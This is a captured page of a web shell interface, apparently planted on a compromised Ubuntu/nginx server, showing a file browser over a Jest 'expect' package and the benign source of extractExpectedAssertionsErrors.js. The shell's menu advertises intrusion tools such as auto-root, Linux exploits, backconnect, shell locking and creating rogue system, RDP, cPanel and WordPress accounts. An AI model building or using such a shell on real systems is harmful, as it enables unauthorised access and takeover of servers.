Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
expect /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
asymmetricMatchers.d.ts
3.27
KB
-rw-rw-rw-
asymmetricMatchers.js
9.95
KB
-rw-rw-rw-
extractExpectedAssertionsError...
390
B
-rw-rw-rw-
extractExpectedAssertionsError...
2.55
KB
-rw-rw-rw-
index.d.ts
548
B
-rw-rw-rw-
index.js
13.89
KB
-rw-rw-rw-
jasmineUtils.d.ts
579
B
-rw-rw-rw-
jasmineUtils.js
7.27
KB
-rw-rw-rw-
jestMatchersObject.d.ts
798
B
-rw-rw-rw-
jestMatchersObject.js
3.23
KB
-rw-rw-rw-
matchers.d.ts
325
B
-rw-rw-rw-
matchers.js
37.57
KB
-rw-rw-rw-
print.d.ts
1.1
KB
-rw-rw-rw-
print.js
5.13
KB
-rw-rw-rw-
spyMatchers.d.ts
328
B
-rw-rw-rw-
spyMatchers.js
39.16
KB
-rw-rw-rw-
toThrowMatchers.d.ts
449
B
-rw-rw-rw-
toThrowMatchers.js
12.9
KB
-rw-rw-rw-
types.d.ts
12.82
KB
-rw-rw-rw-
types.js
74
B
-rw-rw-rw-
utils.d.ts
1.41
KB
-rw-rw-rw-
utils.js
12.16
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extractExpectedAssertionsErrors.js
'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); exports.default = void 0; var _jestMatcherUtils = require('jest-matcher-utils'); var _jestMatchersObject = require('./jestMatchersObject'); /** * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * */ const resetAssertionsLocalState = () => { (0, _jestMatchersObject.setState)({ assertionCalls: 0, expectedAssertionsNumber: null, isExpectingAssertions: false }); }; // Create and format all errors related to the mismatched number of `expect` // calls and reset the matcher's state. const extractExpectedAssertionsErrors = () => { const result = []; const { assertionCalls, expectedAssertionsNumber, expectedAssertionsNumberError, isExpectingAssertions, isExpectingAssertionsError } = (0, _jestMatchersObject.getState)(); resetAssertionsLocalState(); if ( typeof expectedAssertionsNumber === 'number' && assertionCalls !== expectedAssertionsNumber ) { const numOfAssertionsExpected = (0, _jestMatcherUtils.EXPECTED_COLOR)( (0, _jestMatcherUtils.pluralize)('assertion', expectedAssertionsNumber) ); expectedAssertionsNumberError.message = (0, _jestMatcherUtils.matcherHint)( '.assertions', '', String(expectedAssertionsNumber), { isDirectExpectCall: true } ) + '\n\n' + `Expected ${numOfAssertionsExpected} to be called but received ` + (0, _jestMatcherUtils.RECEIVED_COLOR)( (0, _jestMatcherUtils.pluralize)('assertion call', assertionCalls || 0) ) + '.'; result.push({ actual: assertionCalls.toString(), error: expectedAssertionsNumberError, expected: expectedAssertionsNumber.toString() }); } if (isExpectingAssertions && assertionCalls === 0) { const expected = (0, _jestMatcherUtils.EXPECTED_COLOR)( 'at least one assertion' ); const received = (0, _jestMatcherUtils.RECEIVED_COLOR)('received none'); isExpectingAssertionsError.message = (0, _jestMatcherUtils.matcherHint)('.hasAssertions', '', '', { isDirectExpectCall: true }) + '\n\n' + `Expected ${expected} to be called but ${received}.`; result.push({ actual: 'none', error: isExpectingAssertionsError, expected: 'at least one' }); } return result; }; var _default = extractExpectedAssertionsErrors; exports.default = _default;
Close